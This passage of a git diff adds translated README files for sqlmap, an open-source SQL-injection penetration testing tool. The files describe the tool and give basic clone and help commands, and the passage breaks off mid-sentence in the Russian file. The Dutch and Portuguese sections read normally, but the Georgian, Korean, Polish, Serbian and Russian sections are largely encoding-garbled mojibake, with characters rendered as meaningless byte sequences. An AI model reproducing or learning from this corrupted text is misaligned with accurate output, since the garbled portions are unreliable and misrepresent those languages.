https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md new file mode 100644 index 00000000000..12b59b31ea4 --- /dev/null +++ b/doc/translations/README-ka-GE.md @@ -0,0 +1,49 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap áƒáƒ áƒ˜áƒ¡ შეღწევáƒáƒ“áƒáƒ‘ის ტესტირებისáƒáƒ—ვის გáƒáƒœáƒ™áƒ£áƒ—ვილი ინსტრუმენტი, რáƒáƒ›áƒšáƒ˜áƒ¡ კáƒáƒ“იც ღიáƒáƒ“ áƒáƒ áƒ˜áƒ¡ ხელმისáƒáƒ¬áƒ•áƒ“áƒáƒ›áƒ˜. ინსტრუმენტი áƒáƒ®áƒ“ენს SQL-ინექციის სისუსტეების áƒáƒ¦áƒ›áƒáƒ©áƒ”ნისáƒ, გáƒáƒ›áƒáƒ§áƒ”ნების დრმáƒáƒœáƒáƒªáƒ”მთრბáƒáƒ–áƒáƒ—რსერვერების დáƒáƒ£áƒ¤áƒšáƒ”ბის პრáƒáƒªáƒ”სების áƒáƒ•áƒ¢áƒáƒ›áƒáƒ¢áƒ˜áƒ–áƒáƒªáƒ˜áƒáƒ¡. იგი áƒáƒ¦áƒ­áƒ£áƒ áƒ•áƒ˜áƒšáƒ˜áƒ მძლáƒáƒ•áƒ áƒ˜ áƒáƒ¦áƒ›áƒáƒ›áƒ©áƒ”ნი მექáƒáƒœáƒ˜áƒ«áƒ›áƒ˜áƒ—, შეღწევáƒáƒ“áƒáƒ‘ის პრáƒáƒ¤áƒ”სიáƒáƒœáƒáƒšáƒ˜ ტესტერისáƒáƒ—ვის შესáƒáƒ¤áƒ”რისი ბევრი ფუნქციით დრსკრიპტების ფáƒáƒ áƒ—რსპექტრით, რáƒáƒ›áƒšáƒ”ბიც შეიძლებრგáƒáƒ›áƒáƒ§áƒ”ნებულ იქნეს მრáƒáƒ•áƒáƒšáƒ˜ მიზნით, მáƒáƒ— შáƒáƒ áƒ˜áƒ¡: მáƒáƒœáƒáƒªáƒ”მთრბáƒáƒ–იდáƒáƒœ მáƒáƒœáƒáƒªáƒ”მების შეგრáƒáƒ•áƒ”ბისáƒáƒ—ვის, ძირითáƒáƒ“ სáƒáƒ¤áƒáƒ˜áƒšáƒ სისტემáƒáƒ–ე წვდáƒáƒ›áƒ˜áƒ¡áƒáƒ—ვის დრout-of-band კáƒáƒ•áƒ¨áƒ˜áƒ áƒ”ბის გზით áƒáƒžáƒ”რáƒáƒªáƒ˜áƒ£áƒš სისტემáƒáƒ¨áƒ˜ ბრძáƒáƒœáƒ”ბáƒáƒ—რშესრულებისáƒáƒ—ვის. + +ეკრáƒáƒœáƒ˜áƒ¡ áƒáƒœáƒáƒ‘ეჭდები +---- + +![ეკრáƒáƒœáƒ˜áƒ¡ áƒáƒœáƒáƒ‘ეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +შეგიძლიáƒáƒ— ესტუმრáƒáƒ— [ეკრáƒáƒœáƒ˜áƒ¡ áƒáƒœáƒáƒ‘ეჭდთრკáƒáƒšáƒ”ქციáƒáƒ¡](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სáƒáƒ“áƒáƒª დემáƒáƒœáƒ¡áƒ¢áƒ áƒ˜áƒ áƒ”ბულირინსტრუმენტის ზáƒáƒ’იერთი ფუნქციáƒ. + +ინსტáƒáƒšáƒáƒªáƒ˜áƒ +---- + +თქვენ შეგიძლიáƒáƒ— უáƒáƒ®áƒšáƒ”სი tar-áƒáƒ áƒ¥áƒ˜áƒ•áƒ˜áƒ¡ ჩáƒáƒ›áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვრ[áƒáƒ¥](https://github.com/sqlmapproject/sqlmap/tarball/master) დáƒáƒ¬áƒ™áƒáƒžáƒ£áƒœáƒ”ბით, áƒáƒœ უáƒáƒ®áƒšáƒ”სი zip-áƒáƒ áƒ¥áƒ˜áƒ•áƒ˜áƒ¡ ჩáƒáƒ›áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვრ[áƒáƒ¥](https://github.com/sqlmapproject/sqlmap/zipball/master) დáƒáƒ¬áƒ™áƒáƒžáƒ£áƒœáƒ”ბით. + +áƒáƒ¡áƒ”ვე შეგიძლიáƒáƒ— (დრსáƒáƒ¡áƒ£áƒ áƒ•áƒ”ლიáƒ) sqlmap-ის ჩáƒáƒ›áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვრ[Git](https://github.com/sqlmapproject/sqlmap)-სáƒáƒªáƒáƒ•áƒ˜áƒ¡ (repository) კლáƒáƒœáƒ˜áƒ áƒ”ბით: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap ნებისმიერ პლáƒáƒ¢áƒ¤áƒáƒ áƒ›áƒáƒ–ე მუშáƒáƒáƒ‘ს [Python](https://www.python.org/download/)-ის **2.7** დრ**3.x** ვერსიებთáƒáƒœ. + +გáƒáƒ›áƒáƒ§áƒ”ნებრ+---- + +ძირითáƒáƒ“ი ვáƒáƒ áƒ˜áƒáƒœáƒ¢áƒ”ბისრდრპáƒáƒ áƒáƒ›áƒ”ტრების ჩáƒáƒ›áƒáƒœáƒáƒ—ვáƒáƒšáƒ˜áƒ¡ მისáƒáƒ¦áƒ”ბáƒáƒ“ გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნეთ ბრძáƒáƒœáƒ”ბáƒ: + + python sqlmap.py -h + +ვáƒáƒ áƒ˜áƒáƒœáƒ¢áƒ”ბისრდრპáƒáƒ áƒáƒ›áƒ”ტრების სრული ჩáƒáƒ›áƒáƒœáƒáƒ—ვáƒáƒšáƒ˜áƒ¡ მისáƒáƒ¦áƒ”ბáƒáƒ“ გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნეთ ბრძáƒáƒœáƒ”ბáƒ: + + python sqlmap.py -hh + +გáƒáƒ›áƒáƒ§áƒ”ნების მáƒáƒ áƒ¢áƒ˜áƒ•áƒ˜ მáƒáƒ’áƒáƒšáƒ˜áƒ—ი შეგიძლიáƒáƒ— იხილáƒáƒ— [áƒáƒ¥](https://asciinema.org/a/46601). sqlmap-ის შესáƒáƒ«áƒšáƒ”ბლáƒáƒ‘áƒáƒ—რმიმáƒáƒ®áƒ˜áƒšáƒ•áƒ˜áƒ¡, მხáƒáƒ áƒ“áƒáƒ­áƒ”რილი ფუნქციáƒáƒœáƒáƒšáƒ˜áƒ¡áƒ დრყველრვáƒáƒ áƒ˜áƒáƒœáƒ¢áƒ˜áƒ¡ áƒáƒ¦áƒ¬áƒ”რების მისáƒáƒ¦áƒ”ბáƒáƒ“ გáƒáƒ›áƒáƒ§áƒ”ნების მáƒáƒ’áƒáƒšáƒ˜áƒ—ებთáƒáƒœ ერთáƒáƒ“, გირჩევთ, იხილáƒáƒ— [მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის სáƒáƒ®áƒ”ლმძღვáƒáƒœáƒ”ლáƒ](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +ბმულები +---- + +* სáƒáƒ¬áƒ§áƒ˜áƒ¡áƒ˜ გვერდი: https://sqlmap.org +* ჩáƒáƒ›áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) áƒáƒœ [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS áƒáƒ áƒ®áƒ˜: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* პრáƒáƒ‘ლემებისáƒáƒ—ვის თვáƒáƒšáƒ§áƒ£áƒ áƒ˜áƒ¡ დევნებáƒ: https://github.com/sqlmapproject/sqlmap/issues +* მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის სáƒáƒ®áƒ”ლმძღვáƒáƒœáƒ”ლáƒ: https://github.com/sqlmapproject/sqlmap/wiki +* ხშირáƒáƒ“ დáƒáƒ¡áƒ›áƒ£áƒšáƒ˜ კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* დემáƒáƒœáƒ¡áƒ¢áƒ áƒáƒªáƒ˜áƒ”ბი: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ეკრáƒáƒœáƒ˜áƒ¡ áƒáƒœáƒáƒ‘ეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md new file mode 100644 index 00000000000..2542209833e --- /dev/null +++ b/doc/translations/README-ko-KR.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmapì€ SQL ì¸ì ì…˜ 결함 íƒì§€ ë° í™œìš©, ë°ì´í„°ë² ì´ìŠ¤ 서버 장악 프로세스를 ìžë™í™” 하는 오픈소스 침투 테스팅 ë„구입니다. ìµœê³ ì˜ ì¹¨íˆ¬ 테스터, ë°ì´í„°ë² ì´ìŠ¤ 핑거프린팅 부터 ë°ì´í„°ë² ì´ìŠ¤ ë°ì´í„° ì½ê¸°, 대역 외 ì—°ê²°ì„ í†µí•œ 기반 íŒŒì¼ ì‹œìŠ¤í…œ ì ‘ê·¼ ë° ëª…ë ¹ì–´ ì‹¤í–‰ì— ê±¸ì¹˜ëŠ” 광범위한 ìŠ¤ìœ„ì¹˜ë“¤ì„ ìœ„í•œ 강력한 íƒì§€ 엔진과 ë‹¤ìˆ˜ì˜ íŽ¸ë¦¬í•œ ê¸°ëŠ¥ì´ íƒ‘ìž¬ë˜ì–´ 있습니다. + +스í¬ë¦°ìƒ· +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +ë˜ëŠ”, wikiì— ë‚˜ì™€ìžˆëŠ” 몇몇 ê¸°ëŠ¥ì„ ë³´ì—¬ì£¼ëŠ” [스í¬ë¦°ìƒ· 모ìŒ](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) ì„ ë°©ë¬¸í•˜ì‹¤ 수 있습니다. + +설치 +---- + +[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 í´ë¦­í•˜ì—¬ 최신 ë²„ì „ì˜ tarball 파ì¼, ë˜ëŠ” [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 í´ë¦­í•˜ì—¬ 최신 zipball 파ì¼ì„ 다운받으실 수 있습니다. + +가장 선호ë˜ëŠ” 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmapì„ ë‹¤ìš´ë¡œë“œ í•  수 있습니다: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmapì€ [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** ì„ í†µí•´ 모든 í”Œëž«í¼ ìœ„ì—ì„œ 사용 가능합니다. + +사용법 +---- + +기본 옵션과 스위치 목ë¡ì„ 보려면 ë‹¤ìŒ ëª…ë ¹ì–´ë¥¼ 사용하세요: + + python sqlmap.py -h + +ì „ì²´ 옵션과 스위치 목ë¡ì„ 보려면 ë‹¤ìŒ ëª…ë ¹ì–´ë¥¼ 사용하세요: + + python sqlmap.py -hh + +[여기](https://asciinema.org/a/46601)를 통해 사용 ìƒ˜í”Œë“¤ì„ í™•ì¸í•  수 있습니다. +sqlmapì˜ ëŠ¥ë ¥, 지ì›ë˜ëŠ” 기능과 모든 옵션과 ìŠ¤ìœ„ì¹˜ë“¤ì˜ ëª©ë¡ì„ 예제와 함께 보려면, [ì‚¬ìš©ìž ë§¤ë‰´ì–¼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)ì„ ì°¸ê³ í•˜ì‹œê¸¸ 권장드립니다. + +ë§í¬ +---- + +* 홈페ì´ì§€: https://sqlmap.org +* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* ì‚¬ìš©ìž ë§¤ë‰´ì–¼: https://github.com/sqlmapproject/sqlmap/wiki +* ìžì£¼ 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* 트위터: [@sqlmap](https://x.com/sqlmap) +* 시연 ì˜ìƒ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 스í¬ë¦°ìƒ·: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md new file mode 100644 index 00000000000..f114168410d --- /dev/null +++ b/doc/translations/README-nl-NL.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. + +Screenshots +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki. + +Installatie +---- + +Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. + +Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**. + +Gebruik +---- + +Om een lijst van basisopties en switches te krijgen gebruik: + + python sqlmap.py -h + +Om een lijst van alle opties en switches te krijgen gebruik: + + python sqlmap.py -hh + +Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden. +Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. + +Links +---- + +* Homepage: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues +* Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki +* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md new file mode 100644 index 00000000000..e7b145e96b8 --- /dev/null +++ b/doc/translations/README-pl-PL.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap to open sourceowe narzÄ™dzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odpornoÅ›ci serwerów SQL na podatność na iniekcjÄ™ niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji poczÄ…wszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalajÄ…cych na dostÄ™p do systemu plików oraz wykonywanie poleceÅ„ w systemie operacyjnym serwera poprzez niestandardowe poÅ‚Ä…czenia. + +Zrzuty ekranu +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Możesz odwiedzić [kolekcjÄ™ zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrujÄ…cÄ… na wiki niektóre możliwoÅ›ci. + +Instalacja +---- + +Najnowsze tarball archiwum jest dostÄ™pne po klikniÄ™ciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po klikniÄ™ciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Można również pobrać sqlmap klonujÄ…c rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej. + +Sposób użycia +---- + +Aby uzyskać listÄ™ podstawowych funkcji i parametrów użyj polecenia: + + python sqlmap.py -h + +Aby uzyskać listÄ™ wszystkich funkcji i parametrów użyj polecenia: + + python sqlmap.py -hh + +PrzykÅ‚adowy wynik dziaÅ‚ania można znaleźć [tutaj](https://asciinema.org/a/46601). +Aby uzyskać listÄ™ wszystkich dostÄ™pnych funkcji, parametrów oraz opisów ich dziaÅ‚ania wraz z przykÅ‚adami użycia sqlmap zalecamy odwiedzić [instrukcjÄ™ użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +OdnoÅ›niki +---- + +* Strona projektu: https://sqlmap.org +* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ZgÅ‚aszanie bÅ‚Ä™dów: https://github.com/sqlmapproject/sqlmap/issues +* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki +* CzÄ™sto zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md new file mode 100644 index 00000000000..9f5ebfd9938 --- /dev/null +++ b/doc/translations/README-pt-BR.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. + +Imagens +---- + +![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. + +Instalação +---- + +Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). + +De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas. + +Como usar +---- + +Para obter uma lista das opções básicas faça: + + python sqlmap.py -h + +Para obter a lista completa de opções faça: + + python sqlmap.py -hh + +Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601). +Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). + +Links +---- + +* Homepage: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki +* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) +* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md new file mode 100644 index 00000000000..e130727feaa --- /dev/null +++ b/doc/translations/README-rs-RS.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoÅ¡tvom korisnih opcija za napredno penetracijsko testiranje te Å¡iroki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvrÅ¡avanja komandi na operativnom sistemu koriÅ¡tenjem tzv. "out-of-band" veza. + +Slike +---- + +![Slika](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama. + +Instalacija +---- + +Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap radi bez posebnih zahteva koriÅ¡tenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. + +Korišćenje +---- + +Kako biste dobili listu osnovnih opcija i prekidaÄa koristite: + + python sqlmap.py -h + +Kako biste dobili listu svih opcija i prekidaÄa koristite: + + python sqlmap.py -hh + +Možete pronaći primer izvrÅ¡avanja [ovde](https://asciinema.org/a/46601). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidaÄa, zajedno s primerima, preporuÄen je uvid u [korisniÄki priruÄnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Linkovi +---- + +* PoÄetna stranica: https://sqlmap.org +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues +* KorisniÄki priruÄnik: https://github.com/sqlmapproject/sqlmap/wiki +* NajÄešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md new file mode 100644 index 00000000000..38147222530 --- /dev/null +++ b/doc/translations/README-ru-RU.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap - Ñто инÑтрумент Ð´Ð»Ñ Ñ‚ÐµÑÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÑƒÑзвимоÑтей Ñ Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ñ‹Ð¼ иÑходным кодом, который автоматизирует процеÑÑ Ð¾Ð±Ð½Ð°Ñ€ÑƒÐ¶ÐµÐ½Ð¸Ñ Ð¸ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾ÑˆÐ¸Ð±Ð¾Ðº SQL-инъекций и захвата Ñерверов баз данных. Он оÑнащен мощным механизмом обнаружениÑ, множеÑтвом приÑтных функций Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ„ÐµÑÑионального теÑтера уÑзвимоÑтей и широким Ñпектром Ñкриптов, которые упрощают работу Ñ Ð±Ð°Ð·Ð°Ð¼Ð¸ данных, от Ñбора данных из базы данных, до доÑтупа к базовой файловой ÑиÑтеме и Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´ в операционной ÑиÑтеме через out-of-band Ñоединение. + +Скриншоты +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Ð’Ñ‹ можете поÑетить [набор Ñкриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонÑтрируемые некоторые функции в wiki. + +УÑтановка +---- + +Ð’Ñ‹ можете Ñкачать поÑледнюю верÑию tarball, нажав [Ñюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или поÑледний zipball, нажав [Ñюда](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Предпочтительно вы можете загрузить sqlmap, ÐºÐ»Ð¾Ð½Ð¸Ñ€ÑƒÑ [Git](https://github.com/sqlmapproject/sqlmap) репозиторий: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap работает из 